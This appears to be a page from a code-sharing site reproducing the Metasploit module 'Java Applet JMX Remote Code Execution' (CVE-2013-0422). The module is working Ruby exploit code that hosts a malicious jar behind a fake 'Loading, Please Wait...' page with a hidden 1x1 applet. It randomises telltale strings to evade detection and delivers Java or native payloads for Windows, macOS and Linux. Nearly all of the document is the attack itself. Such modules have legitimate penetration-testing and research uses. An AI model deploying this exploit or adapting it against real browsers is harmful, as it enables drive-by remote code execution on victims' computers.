Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/java_jre17_jmxbean.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE1011include Msf::Exploit::Remote::BrowserAutopwn12autopwn_info({ :javascript => false })1314def initialize( info = {} )1516super( update_info( info,17'Name' => 'Java Applet JMX Remote Code Execution',18'Description' => %q{19This module abuses the JMX classes from a Java Applet to run arbitrary Java20code outside of the sandbox as exploited in the wild in January of 2013. The21vulnerability affects Java version 7u10 and earlier.22},23'License' => MSF_LICENSE,24'Author' =>25[26'Unknown', # Vulnerability discovery27'egypt', # Metasploit module28'sinn3r', # Metasploit module29'juan vazquez' # Metasploit module30],31'References' =>32[33[ 'CVE', '2013-0422' ],34[ 'OSVDB', '89059' ],35[ 'US-CERT-VU', '625617' ],36[ 'URL', 'http://malware.dontneedcoffee.com/2013/01/0-day-17u10-spotted-in-while-disable.html' ],37[ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/new-year-new-java-zeroday/' ],38[ 'URL', 'http://pastebin.com/cUG2ayjh' ] #Who authored the code on pastebin? I can't read Russian :-(39],40'Platform' => %w{ java linux osx win },41'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },42'Targets' =>43[44[ 'Generic (Java Payload)',45{46'Platform' => ['java'],47'Arch' => ARCH_JAVA,48}49],50[ 'Windows x86 (Native Payload)',51{52'Platform' => 'win',53'Arch' => ARCH_X86,54}55],56[ 'Mac OS X x86 (Native Payload)',57{58'Platform' => 'osx',59'Arch' => ARCH_X86,60}61],62[ 'Linux x86 (Native Payload)',63{64'Platform' => 'linux',65'Arch' => ARCH_X86,66}67],68],69'DefaultTarget' => 0,70'DisclosureDate' => '2013-01-10'71))72end737475def setup76path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0422", "Exploit.class")77@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }78path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0422", "B.class")79@loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }8081@exploit_class_name = rand_text_alpha("Exploit".length)82@exploit_class.gsub!("Exploit", @exploit_class_name)83super84end8586def on_request_uri(cli, request)87print_status("handling request for #{request.uri}")8889case request.uri90when /\.jar$/i91jar = payload.encoded_jar92jar.add_file("#{@exploit_class_name}.class", @exploit_class)93jar.add_file("B.class", @loader_class)94metasploit_str = rand_text_alpha("metasploit".length)95payload_str = rand_text_alpha("payload".length)96jar.entries.each { |entry|97entry.name.gsub!("metasploit", metasploit_str)98entry.name.gsub!("Payload", payload_str)99entry.data = entry.data.gsub("metasploit", metasploit_str)100entry.data = entry.data.gsub("Payload", payload_str)101}102jar.build_manifest103104send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })105when /\/$/106payload = regenerate_payload(cli)107if not payload108print_error("Failed to generate the payload.")109send_not_found(cli)110return111end112send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })113else114send_redirect(cli, get_resource() + '/', '')115end116117end118119def generate_html120html = %Q|<html><head><title>Loading, Please Wait...</title></head>|121html += %Q|<body><center><p>Loading, Please Wait...</p></center>|122html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|123html += %Q|</applet></body></html>|124return html125end126end127128129